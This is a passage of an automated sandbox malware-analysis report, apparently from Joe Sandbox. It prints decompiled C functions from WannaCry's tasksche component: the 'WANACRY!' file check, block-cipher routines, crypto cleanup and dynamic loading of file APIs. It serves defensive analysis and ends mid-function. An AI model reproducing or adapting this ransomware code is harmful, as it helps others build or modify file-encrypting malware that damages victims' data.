                                                                                                • Associated: 0000001F.00000002.345598003.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345650679.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345697523.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345710016.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_31_2_400000_tasksche.jbxd
                                                                                                Yara matches
                                                                                                Similarity
                                                                                                • API ID: ??0exception@@ExceptionThrow$memcpy
                                                                                                • String ID:
                                                                                                • API String ID: 1881450474-3916222277
                                                                                                • Opcode ID: 13455132f19fce7ccee5142b200569a1d3dc411a47d032a17fbb22a214c81369
                                                                                                • Instruction ID: fcfef073648f46ce18afaeffe4143d5033c2e410e09e17396796de68d512254b
                                                                                                • Opcode Fuzzy Hash: 13455132f19fce7ccee5142b200569a1d3dc411a47d032a17fbb22a214c81369
                                                                                                • Instruction Fuzzy Hash: 8DD1C3706006099FDB28CF29C5846EA77F5FF48314F14C43EE95AEB281D778AA85CB58
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 004014A6 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 178filememoryCOMMON
                                                                                                Download Yara Rule
                                                                                                APIs
                                                                                                • CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040150D
                                                                                                • GetFileSizeEx.KERNEL32(00000000,?), ref: 00401529
                                                                                                • memcmp.MSVCRT(?,WANACRY!,00000008), ref: 00401572
                                                                                                • GlobalAlloc.KERNEL32(00000000,?,?,?,00000010,?,?,?,?), ref: 0040166D
                                                                                                • _local_unwind2.MSVCRT(?,000000FF), ref: 004016D6
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 0000001F.00000002.345636345.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 0000001F.00000002.345598003.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345650679.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345697523.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345710016.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_31_2_400000_tasksche.jbxd
                                                                                                Yara matches
                                                                                                Similarity
                                                                                                • API ID: File$AllocCreateGlobalSize_local_unwind2memcmp
                                                                                                • String ID: WANACRY!
                                                                                                • API String ID: 283026544-1240840912
                                                                                                • Opcode ID: 3616707767261f84fde6c13708b35c3d4dbb974938da28d5f777545cb9cffa02
                                                                                                • Instruction ID: 23909f9b909e50c20e483d6bc4be6e23e355ec3bf8b0a6de4718622c8bde6caa
                                                                                                • Opcode Fuzzy Hash: 3616707767261f84fde6c13708b35c3d4dbb974938da28d5f777545cb9cffa02
                                                                                                • Instruction Fuzzy Hash: 6E512C71900209ABDB219F95CD84FEEB7BCEB08790F1444BAF515F21A0D739AA45CB28
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 0040350F Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 214COMMONCrypto
                                                                                                Download Yara Rule
                                                                                                C-Code - Quality: 55%
                                                                                                			E0040350F(void* __ecx, signed int _a4, signed char* _a8) {
				signed int _v8;
				signed int _v12;
				signed char _v16;
				signed int _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed int _v44;
				char _v56;
				signed int _t150;
				signed int _t151;
				signed int _t155;
				signed int* _t157;
				signed char _t158;
				intOrPtr _t219;
				signed int _t230;
				signed char* _t236;
				signed char* _t237;
				signed char* _t238;
				signed char* _t239;
				signed int* _t240;
				signed char* _t242;
				signed char* _t243;
				signed char* _t245;
				signed int _t260;
				signed int* _t273;
				signed int _t274;
				void* _t275;
				void* _t276;

				_t275 = __ecx;
				if( *((char*)(__ecx + 4)) == 0) {
					__imp__??0exception@@QAE@ABQBD@Z(0x40f570);
					_push(0x40d570);
					_push( &_v56);
					L0040776E();
				}
				_t150 =  *(_t275 + 0x3cc);
				if(_t150 == 0x10) {
					return E00402E7E(_t275, _a4, _a8);
				}
				asm("cdq");
				_t230 = 4;
				_t151 = _t150 / _t230;
				_t274 = _t151;
				asm("sbb eax, eax");
				_t155 = ( ~(_t151 - _t230) & (0 | _t274 != 0x00000006) + 0x00000001) << 5;
				_v28 =  *((intOrPtr*)(_t155 + 0x40bc24));
				_v24 =  *((intOrPtr*)(_t155 + 0x40bc2c));
				_v32 =  *((intOrPtr*)(_t155 + 0x40bc34));
				_t157 = _t275 + 0x454;
				if(_t274 > 0) {
					_v16 = _t274;
					_v8 = _t275 + 8;
					_t242 = _a4;
					do {
						_t243 =  &(_t242[1]);
						 *_t157 = ( *_t242 & 0x000000ff) << 0x18;
						 *_t157 =  *_t157 | ( *_t243 & 0x000000ff) << 0x00000010;
						_t245 =  &(_t243[2]);
						_t273 = _t157;
						 *_t157 =  *_t157 |  *_t245 & 0x000000ff;
						_v8 = _v8 + 4;
						_t242 =  &(_t245[1]);
						_t157 =  &(_t157[1]);
						 *_t273 =  *_t273 ^  *_v8;
						_t27 =  &_v16;
						 *_t27 = _v16 - 1;
					} while ( *_t27 != 0);
				}
				_t158 = 1;
				_v16 = _t158;
				if( *(_t275 + 0x410) > _t158) {
					_v12 = _t275 + 0x28;
					do {
						if(_t274 > 0) {
							_t34 =  &_v28; // 0x403b51
							_t260 =  *_t34;
							_v8 = _v12;
							_a4 = _t260;
							_v36 = _v24 - _t260;
							_t240 = _t275 + 0x434;
							_v40 = _v32 - _t260;
							_v20 = _t274;
							do {
								asm("cdq");
								_v44 = 0;
								asm("cdq");
								asm("cdq");
								_v8 = _v8 + 4;
								 *_t240 =  *(0x4093fc + _v44 * 4) ^  *(0x4097fc + ( *(_t275 + 0x454 + (_v40 + _a4) % _t274 * 4) & 0x000000ff) * 4) ^  *0x00408FFC ^  *0x00408BFC ^  *_v8;
								_t240 =  &(_t240[1]);
								_a4 = _a4 + 1;
								_t84 =  &_v20;
								 *_t84 = _v20 - 1;
							} while ( *_t84 != 0);
						}
						memcpy(_t275 + 0x454, _t275 + 0x434, _t274 << 2);
						_v12 = _v12 + 0x20;
						_t276 = _t276 + 0xc;
						_v16 = _v16 + 1;
						_t158 = _v16;
					} while (_t158 <  *(_t275 + 0x410));
				}
				_v8 = _v8 & 0x00000000;
				if(_t274 > 0) {
					_t236 = _a8;
					_t219 = _v24;
					_a8 = _t275 + 0x454;
					_t100 =  &_v28; // 0x403b51
					_v44 =  *_t100 - _t219;
					_v40 = _v32 - _t219;
					do {
						_a8 =  &(_a8[4]);
						_a4 =  *((intOrPtr*)(_t275 + 8 + (_v8 +  *(_t275 + 0x410) * 8) * 4));
						 *_t236 =  *0x004089FC ^ _a4 >> 0x00000018;
						_t237 =  &(_t236[1]);
						asm("cdq");
						 *_t237 =  *0x004089FC ^ _a4 >> 0x00000010;
						asm("cdq");
						_t238 =  &(_t237[1]);
						 *_t238 =  *0x004089FC ^ _a4 >> 0x00000008;
						_t239 =  &(_t238[1]);
						asm("cdq");
						_t158 =  *(( *(_t275 + 0x454 + (_v40 + _t219) % _t274 * 4) & 0x000000ff) + 0x4089fc) ^ _a4;
						 *_t239 = _t158;
						_t236 =  &(_t239[1]);
						_v8 = _v8 + 1;
						_t219 = _t219 + 1;
					} while (_v8 < _t274);
				}
				return _t158;
			}


































                                                                                                0x00403517
                                                                                                0x0040351e
                                                                                                0x00403528
                                                                                                0x00403531
                                                                                                0x00403536
                                                                                                0x00403537
                                                                                                0x00403537
                                                                                                0x0040353c
                                                                                                0x00403545
                                                                                                0x00000000
                                                                                                0x0040354f
                                                                                                0x0040355b
                                                                                                0x0040355c
                                                                                                0x0040355d
                                                                                                0x0040355f
                                                                                                0x0040356e
                                                                                                0x00403572
                                                                                                0x0040357d
                                                                                                0x0040358c
                                                                                                0x0040358f
                                                                                                0x00403592
                                                                                                0x00403598
                                                                                                0x0040359d
                                                                                                0x004035a0
                                                                                                0x004035a3
                                                                                                0x004035a6
                                                                                                0x004035ac
                                                                                                0x004035ad
                                                                                                0x004035b5
                                                                                                0x004035be
                                                                                                0x004035bf
                                                                                                0x004035c4
                                                                                                0x004035c9
                                                                                                0x004035cd
                                                                                                0x004035d0
                                                                                                0x004035d3
                                                                                                0x004035d5
                                                                                                0x004035d5
                                                                                                0x004035d5
                                                                                                0x004035a6
                                                                                                0x004035dc
                                                                                                0x004035e3
                                                                                                0x004035e6
                                                                                                0x004035ef
                                                                                                0x004035f2
                                                                                                0x004035f4
                                                                                                0x004035fd
                                                                                                0x004035fd
                                                                                                0x00403600
                                                                                                0x00403608
                                                                                                0x0040360b
                                                                                                0x00403613
                                                                                                0x00403619
                                                                                                0x0040361c
                                                                                                0x0040361f
                                                                                                0x00403627
                                                                                                0x0040363a
                                                                                                0x0040363d
                                                                                                0x00403660
                                                                                                0x00403682
                                                                                                0x00403688
                                                                                                0x0040368a
                                                                                                0x0040368d
                                                                                                0x00403690
                                                                                                0x00403690
                                                                                                0x00403690
                                                                                                0x0040361f
                                                                                                0x004036a9
                                                                                                0x004036ae
                                                                                                0x004036b2
                                                                                                0x004036b5
                                                                                                0x004036b8
                                                                                                0x004036bb
                                                                                                0x004035f2
                                                                                                0x004036c7
                                                                                                0x004036cd
                                                                                                0x004036d3
                                                                                                0x004036d6
                                                                                                0x004036df
                                                                                                0x004036e2
                                                                                                0x004036e7
                                                                                                0x004036ef
                                                                                                0x004036f2
                                                                                                0x00403701
                                                                                                0x00403709
                                                                                                0x0040371f
                                                                                                0x00403726
                                                                                                0x00403727
                                                                                                0x00403741
                                                                                                0x00403745
                                                                                                0x0040374a
                                                                                                0x00403760
                                                                                                0x00403767
                                                                                                0x00403768
                                                                                                0x0040377d
                                                                                                0x00403780
                                                                                                0x00403782
                                                                                                0x00403783
                                                                                                0x00403786
                                                                                                0x00403787
                                                                                                0x004036f2
                                                                                                0x00403794

                                                                                                APIs
                                                                                                • ??0exception@@QAE@ABQBD@Z.MSVCRT(0040F570,?,?,?,?,?,?,?,?,?,?,00403B51,?,?,?), ref: 00403528
                                                                                                • _CxxThrowException.MSVCRT(?,0040D570,?,?,?,?,?,?,?,00403B51,?,?,?), ref: 00403537
                                                                                                • memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00403B51,?,?), ref: 004036A9
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 0000001F.00000002.345636345.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 0000001F.00000002.345598003.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345650679.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345697523.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345710016.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_31_2_400000_tasksche.jbxd
                                                                                                Yara matches
                                                                                                Similarity
                                                                                                • API ID: ??0exception@@ExceptionThrowmemcpy
                                                                                                • String ID: $Q;@
                                                                                                • API String ID: 2382887404-262343263
                                                                                                • Opcode ID: 68433a68c8f87a96c4578501cf6b50a347b0c2ca376bc2ea45e1a632b2ad4c4a
                                                                                                • Instruction ID: bc36c6e363c45e845c5013d3ee32ff29fee655b638a1b5d52e43d816bbd12583
                                                                                                • Opcode Fuzzy Hash: 68433a68c8f87a96c4578501cf6b50a347b0c2ca376bc2ea45e1a632b2ad4c4a
                                                                                                • Instruction Fuzzy Hash: A581C3759002499FCB05CF68C9809EEBBF5EF89308F2484AEE595E7352C234BA45CF58
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 00403797 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 214COMMONCrypto
                                                                                                Download Yara Rule
                                                                                                C-Code - Quality: 54%
                                                                                                			E00403797(void* __ecx, signed int _a4, signed char* _a8) {
				signed int _v8;
				signed int _v12;
				signed char _v16;
				signed int _v20;
				intOrPtr _v24;
				signed int _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed int _v44;
				char _v56;
				signed int _t150;
				signed int _t151;
				signed int _t155;
				signed int* _t157;
				signed char _t158;
				intOrPtr _t219;
				signed int _t230;
				signed char* _t236;
				signed char* _t237;
				signed char* _t238;
				signed char* _t239;
				signed int* _t240;
				signed char* _t242;
				signed char* _t243;
				signed char* _t245;
				signed int _t260;
				signed int* _t273;
				signed int _t274;
				void* _t275;
				void* _t276;

				_t275 = __ecx;
				if( *((char*)(__ecx + 4)) == 0) {
					__imp__??0exception@@QAE@ABQBD@Z(0x40f570);
					_push(0x40d570);
					_push( &_v56);
					L0040776E();
				}
				_t150 =  *(_t275 + 0x3cc);
				if(_t150 == 0x10) {
					return E004031BC(_t275, _a4, _a8);
				}
				asm("cdq");
				_t230 = 4;
				_t151 = _t150 / _t230;
				_t274 = _t151;
				asm("sbb eax, eax");
				_t155 = ( ~(_t151 - _t230) & (0 | _t274 != 0x00000006) + 0x00000001) << 5;
				_v28 =  *((intOrPtr*)(_t155 + 0x40bc28));
				_v24 =  *((intOrPtr*)(_t155 + 0x40bc30));
				_v32 =  *((intOrPtr*)(_t155 + 0x40bc38));
				_t157 = _t275 + 0x454;
				if(_t274 > 0) {
					_v16 = _t274;
					_v8 = _t275 + 0x1e8;
					_t242 = _a4;
					do {
						_t243 =  &(_t242[1]);
						 *_t157 = ( *_t242 & 0x000000ff) << 0x18;
						 *_t157 =  *_t157 | ( *_t243 & 0x000000ff) << 0x00000010;
						_t245 =  &(_t243[2]);
						_t273 = _t157;
						 *_t157 =  *_t157 |  *_t245 & 0x000000ff;
						_v8 = _v8 + 4;
						_t242 =  &(_t245[1]);
						_t157 =  &(_t157[1]);
						 *_t273 =  *_t273 ^  *_v8;
						_t27 =  &_v16;
						 *_t27 = _v16 - 1;
					} while ( *_t27 != 0);
				}
				_t158 = 1;
				_v16 = _t158;
				if( *(_t275 + 0x410) > _t158) {
					_v12 = _t275 + 0x208;
					do {
						if(_t274 > 0) {
							_t260 = _v28;
							_v8 = _v12;
							_a4 = _t260;
							_v36 = _v24 - _t260;
							_t240 = _t275 + 0x434;
							_v40 = _v32 - _t260;
							_v20 = _t274;
							do {
								asm("cdq");
								_v44 = 0;
								asm("cdq");
								asm("cdq");
								_v8 = _v8 + 4;
								 *_t240 =  *(0x40a3fc + _v44 * 4) ^  *(0x40a7fc + ( *(_t275 + 0x454 + (_v40 + _a4) % _t274 * 4) & 0x000000ff) * 4) ^  *0x00409FFC ^  *0x00409BFC ^  *_v8;
								_t240 =  &(_t240[1]);
								_a4 = _a4 + 1;
								_t84 =  &_v20;
								 *_t84 = _v20 - 1;
							} while ( *_t84 != 0);
						}
						memcpy(_t275 + 0x454, _t275 + 0x434, _t274 << 2);
						_v12 = _v12 + 0x20;
						_t276 = _t276 + 0xc;
						_v16 = _v16 + 1;
						_t158 = _v16;
					} while (_t158 <  *(_t275 + 0x410));
				}
				_v8 = _v8 & 0x00000000;
				if(_t274 > 0) {
					_t236 = _a8;
					_t219 = _v24;
					_a8 = _t275 + 0x454;
					_v44 = _v28 - _t219;
					_v40 = _v32 - _t219;
					do {
						_a8 =  &(_a8[4]);
						_a4 =  *((intOrPtr*)(_t275 + 0x1e8 + (_v8 +  *(_t275 + 0x410) * 8) * 4));
						 *_t236 =  *0x00408AFC ^ _a4 >> 0x00000018;
						_t237 =  &(_t236[1]);
						asm("cdq");
						 *_t237 =  *0x00408AFC ^ _a4 >> 0x00000010;
						asm("cdq");
						_t238 =  &(_t237[1]);
						 *_t238 =  *0x00408AFC ^ _a4 >> 0x00000008;
						_t239 =  &(_t238[1]);
						asm("cdq");
						_t158 =  *(( *(_t275 + 0x454 + (_v40 + _t219) % _t274 * 4) & 0x000000ff) + 0x408afc) ^ _a4;
						 *_t239 = _t158;
						_t236 =  &(_t239[1]);
						_v8 = _v8 + 1;
						_t219 = _t219 + 1;
					} while (_v8 < _t274);
				}
				return _t158;
			}


































                                                                                                0x0040379f
                                                                                                0x004037a6
                                                                                                0x004037b0
                                                                                                0x004037b9
                                                                                                0x004037be
                                                                                                0x004037bf
                                                                                                0x004037bf
                                                                                                0x004037c4
                                                                                                0x004037cd
                                                                                                0x00000000
                                                                                                0x004037d7
                                                                                                0x004037e3
                                                                                                0x004037e4
                                                                                                0x004037e5
                                                                                                0x004037e7
                                                                                                0x004037f6
                                                                                                0x004037fa
                                                                                                0x00403805
                                                                                                0x00403814
                                                                                                0x00403817
                                                                                                0x0040381a
                                                                                                0x00403820
                                                                                                0x00403828
                                                                                                0x0040382b
                                                                                                0x0040382e
                                                                                                0x00403831
                                                                                                0x00403837
                                                                                                0x00403838
                                                                                                0x00403840
                                                                                                0x00403849
                                                                                                0x0040384a
                                                                                                0x0040384f
                                                                                                0x00403854
                                                                                                0x00403858
                                                                                                0x0040385b
                                                                                                0x0040385e
                                                                                                0x00403860
                                                                                                0x00403860
                                                                                                0x00403860
                                                                                                0x00403831
                                                                                                0x00403867
                                                                                                0x0040386e
                                                                                                0x00403871
                                                                                                0x0040387d
                                                                                                0x00403880
                                                                                                0x00403882
                                                                                                0x0040388b
                                                                                                0x0040388e
                                                                                                0x00403896
                                                                                                0x00403899
                                                                                                0x004038a1
                                                                                                0x004038a7
                                                                                                0x004038aa
                                                                                                0x004038ad
                                                                                                0x004038b5
                                                                                                0x004038c8
                                                                                                0x004038cb
                                                                                                0x004038ee
                                                                                                0x00403910
                                                                                                0x00403916
                                                                                                0x00403918
                                                                                                0x0040391b
                                                                                                0x0040391e
                                                                                                0x0040391e
                                                                                                0x0040391e
                                                                                                0x004038ad
                                                                                                0x00403937
                                                                                                0x0040393c
                                                                                                0x00403940
                                                                                                0x00403943
                                                                                                0x00403946
                                                                                                0x00403949
                                                                                                0x00403880
                                                                                                0x00403955
                                                                                                0x0040395b
                                                                                                0x00403961
                                                                                                0x00403964
                                                                                                0x0040396d
                                                                                                0x00403975
                                                                                                0x0040397d
                                                                                                0x00403980
                                                                                                0x0040398f
                                                                                                0x0040399a
                                                                                                0x004039b0
                                                                                                0x004039b7
                                                                                                0x004039b8
                                                                                                0x004039d2
                                                                                                0x004039d6
                                                                                                0x004039db
                                                                                                0x004039f1
                                                                                                0x004039f8
                                                                                                0x004039f9
                                                                                                0x00403a0e
                                                                                                0x00403a11
                                                                                                0x00403a13
                                                                                                0x00403a14
                                                                                                0x00403a17
                                                                                                0x00403a18
                                                                                                0x00403980
                                                                                                0x00403a25

                                                                                                APIs
                                                                                                • ??0exception@@QAE@ABQBD@Z.MSVCRT(0040F570,?,?,?,?,?,?,?,?,?,?,00403B9C,?,?,?), ref: 004037B0
                                                                                                • _CxxThrowException.MSVCRT(?,0040D570,?,?,?,?,?,?,?,00403B9C,?,?,?), ref: 004037BF
                                                                                                • memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00403B9C,?,?), ref: 00403937
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 0000001F.00000002.345636345.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 0000001F.00000002.345598003.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345650679.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345697523.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345710016.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_31_2_400000_tasksche.jbxd
                                                                                                Yara matches
                                                                                                Similarity
                                                                                                • API ID: ??0exception@@ExceptionThrowmemcpy
                                                                                                • String ID:
                                                                                                • API String ID: 2382887404-3916222277
                                                                                                • Opcode ID: f4b5f5b39d3fd1fccf69c885608927ed404fa65085bd71c262b9c8f9e9248758
                                                                                                • Instruction ID: 1cfba4d829132d5223a2741c68a06c6b284a50eb41fad236877f379c856cacdf
                                                                                                • Opcode Fuzzy Hash: f4b5f5b39d3fd1fccf69c885608927ed404fa65085bd71c262b9c8f9e9248758
                                                                                                • Instruction Fuzzy Hash: B991C375A002499FCB05CF69C480AEEBBF5FF89315F2480AEE595E7342C234AA45CF58
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 004029CC Relevance: 3.8, APIs: 3, Instructions: 55memoryCOMMON
                                                                                                Download Yara Rule
                                                                                                C-Code - Quality: 100%
                                                                                                			E004029CC(void* _a4) {
				void* _t17;
				intOrPtr _t18;
				intOrPtr _t23;
				intOrPtr _t25;
				signed int _t35;
				void* _t37;

				_t37 = _a4;
				if(_t37 != 0) {
					if( *((intOrPtr*)(_t37 + 0x10)) != 0) {
						_t25 =  *((intOrPtr*)(_t37 + 4));
						 *((intOrPtr*)( *((intOrPtr*)( *_t37 + 0x28)) + _t25))(_t25, 0, 0);
					}
					if( *(_t37 + 8) == 0) {
						L9:
						_t18 =  *((intOrPtr*)(_t37 + 4));
						if(_t18 != 0) {
							 *((intOrPtr*)(_t37 + 0x20))(_t18, 0, 0x8000,  *((intOrPtr*)(_t37 + 0x30)));
						}
						return HeapFree(GetProcessHeap(), 0, _t37);
					} else {
						_t35 = 0;
						if( *((intOrPtr*)(_t37 + 0xc)) <= 0) {
							L8:
							free( *(_t37 + 8));
							goto L9;
						} else {
							goto L5;
						}
						do {
							L5:
							_t23 =  *((intOrPtr*)( *(_t37 + 8) + _t35 * 4));
							if(_t23 != 0) {
								 *((intOrPtr*)(_t37 + 0x2c))(_t23,  *((intOrPtr*)(_t37 + 0x30)));
							}
							_t35 = _t35 + 1;
						} while (_t35 <  *((intOrPtr*)(_t37 + 0xc)));
						goto L8;
					}
				}
				return _t17;
			}









                                                                                                0x004029ce
                                                                                                0x004029d6
                                                                                                0x004029db
                                                                                                0x004029df
                                                                                                0x004029ea
                                                                                                0x004029ea
                                                                                                0x004029ef
                                                                                                0x00402a1d
                                                                                                0x00402a1d
                                                                                                0x00402a22
                                                                                                0x00402a2e
                                                                                                0x00402a31
                                                                                                0x00000000
                                                                                                0x004029f1
                                                                                                0x004029f2
                                                                                                0x004029f7
                                                                                                0x00402a12
                                                                                                0x00402a15
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x00000000
                                                                                                0x004029f9
                                                                                                0x004029f9
                                                                                                0x004029fc
                                                                                                0x00402a01
                                                                                                0x00402a07
                                                                                                0x00402a0b
                                                                                                0x00402a0c
                                                                                                0x00402a0d
                                                                                                0x00000000
                                                                                                0x004029f9
                                                                                                0x004029ef
                                                                                                0x00402a45

                                                                                                APIs
                                                                                                • free.MSVCRT(?,00402198,00000000,00000000,0040243C,00000000), ref: 00402A15
                                                                                                • GetProcessHeap.KERNEL32(00000000,00000000,00000000,00000000,0040243C,00000000), ref: 00402A36
                                                                                                • HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00402185,00402198,004021A3,004021B2,00000000), ref: 00402A3D
                                                                                                Memory Dump Source
                                                                                                • Source File: 0000001F.00000002.345636345.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 0000001F.00000002.345598003.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345650679.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345697523.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345710016.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_31_2_400000_tasksche.jbxd
                                                                                                Yara matches
                                                                                                Similarity
                                                                                                • API ID: Heap$FreeProcessfree
                                                                                                • String ID:
                                                                                                • API String ID: 3428986607-0
                                                                                                • Opcode ID: 67af2f346d87749f9cdb855264ac8d2816ecbe8db690f3f12af5f99a0e11ec4c
                                                                                                • Instruction ID: 6307eaad725422957632c7c85bafc458d1caddc7471a2505469f2591130cc2ff
                                                                                                • Opcode Fuzzy Hash: 67af2f346d87749f9cdb855264ac8d2816ecbe8db690f3f12af5f99a0e11ec4c
                                                                                                • Instruction Fuzzy Hash: C4010C72600A019FCB309FA5DE88967B7E9FF48321354483EF196A2591CB75F841CF58
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 004018B9 Relevance: 1.5, APIs: 1, Instructions: 25encryptionCOMMON
                                                                                                Download Yara Rule
                                                                                                C-Code - Quality: 16%
                                                                                                			E004018B9(void* __ecx) {
				signed int _t10;
				signed int _t11;
				long* _t12;
				void* _t13;
				void* _t18;

				_t18 = __ecx;
				_t10 =  *(__ecx + 8);
				if(_t10 != 0) {
					 *0x40f89c(_t10);
					 *(__ecx + 8) =  *(__ecx + 8) & 0x00000000;
				}
				_t11 =  *(_t18 + 0xc);
				if(_t11 != 0) {
					 *0x40f89c(_t11);
					 *(_t18 + 0xc) =  *(_t18 + 0xc) & 0x00000000;
				}
				_t12 =  *(_t18 + 4);
				if(_t12 != 0) {
					CryptReleaseContext(_t12, 0);
					 *(_t18 + 4) =  *(_t18 + 4) & 0x00000000;
				}
				_t13 = 1;
				return _t13;
			}








                                                                                                0x004018ba
                                                                                                0x004018bc
                                                                                                0x004018c1
                                                                                                0x004018c4
                                                                                                0x004018ca
                                                                                                0x004018ca
                                                                                                0x004018ce
                                                                                                0x004018d3
                                                                                                0x004018d6
                                                                                                0x004018dc
                                                                                                0x004018dc
                                                                                                0x004018e0
                                                                                                0x004018e5
                                                                                                0x004018ea
                                                                                                0x004018f0
                                                                                                0x004018f0
                                                                                                0x004018f6
                                                                                                0x004018f8

                                                                                                APIs
                                                                                                • CryptReleaseContext.ADVAPI32(?,00000000,?,004013DB,?,?,?,0040139D,?,?,00401366), ref: 004018EA
                                                                                                Memory Dump Source
                                                                                                • Source File: 0000001F.00000002.345636345.0000000000401000.00000020.00000001.01000000.00000008.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 0000001F.00000002.345598003.0000000000400000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345650679.0000000000408000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345697523.000000000040E000.00000008.00000001.01000000.00000008.sdmpDownload File
                                                                                                • Associated: 0000001F.00000002.345710016.0000000000410000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_31_2_400000_tasksche.jbxd
                                                                                                Yara matches
                                                                                                Similarity
                                                                                                • API ID: ContextCryptRelease
                                                                                                • String ID:
                                                                                                • API String ID: 829835001-0
                                                                                                • Opcode ID: 5ecafc68ca33f8cfa3c4e9ed1ded46982a6db61dfcb788b9f393b121ae522fda
                                                                                                • Instruction ID: 2349b07d823645f04250185dd133334db1216db109592f97c32ed3e6f6040a2b
                                                                                                • Opcode Fuzzy Hash: 5ecafc68ca33f8cfa3c4e9ed1ded46982a6db61dfcb788b9f393b121ae522fda
                                                                                                • Instruction Fuzzy Hash: C7E0ED323147019BEB30AB65ED49B5373E8AF00762F04C83DB05AE6990CBB9E8448A58
                                                                                                Uniqueness

                                                                                                Uniqueness Score: -1.00%

                                                                                                Function 0040170A Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 65libraryloaderCOMMON
                                                                                                Download Yara Rule
                                                                                                C-Code - Quality: 100%
                                                                                                			E0040170A() {
				void* _t3;
				_Unknown_base(*)()* _t11;
				struct HINSTANCE__* _t13;
				intOrPtr _t18;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t25;

				if(E00401A45() == 0) {
					L11:
					return 0;
				}
				_t18 =  *0x40f878; // 0x0
				if(_t18 != 0) {
					L10:
					_t3 = 1;
					return _t3;
				}
				_t13 = LoadLibraryA("kernel32.dll");
				if(_t13 == 0) {
					goto L11;
				}
				 *0x40f878 = GetProcAddress(_t13, "CreateFileW");
				 *0x40f87c = GetProcAddress(_t13, "WriteFile");
				 *0x40f880 = GetProcAddress(_t13, "ReadFile");
				 *0x40f884 = GetProcAddress(_t13, "MoveFileW");
				 *0x40f888 = GetProcAddress(_t13, "MoveFileExW");
				 *0x40f88c = GetProcAddress(_t13, "DeleteFileW");
				_t11 = GetProcAddress(_t13, "CloseHandle");
				_t20 =  *0x40f878; // 0x0
				 *0x40f890 = _t11;
				if(_t20 == 0) {
					goto L11;
				}
				_t21 =  *0x40f87c; // 0x0
				if(_t21 == 0) {
					goto L11;
				}
				_t22 =  *0x40f880; // 0x0
				if(_t22 == 0) {
					goto L11;
				}
				_t23 =  *0x40f884; // 0x0
				if(_t23 == 0) {
					goto L11;
				}
				_t24 =  *0x40f888; // 0x0
				if(_t24 == 0) {
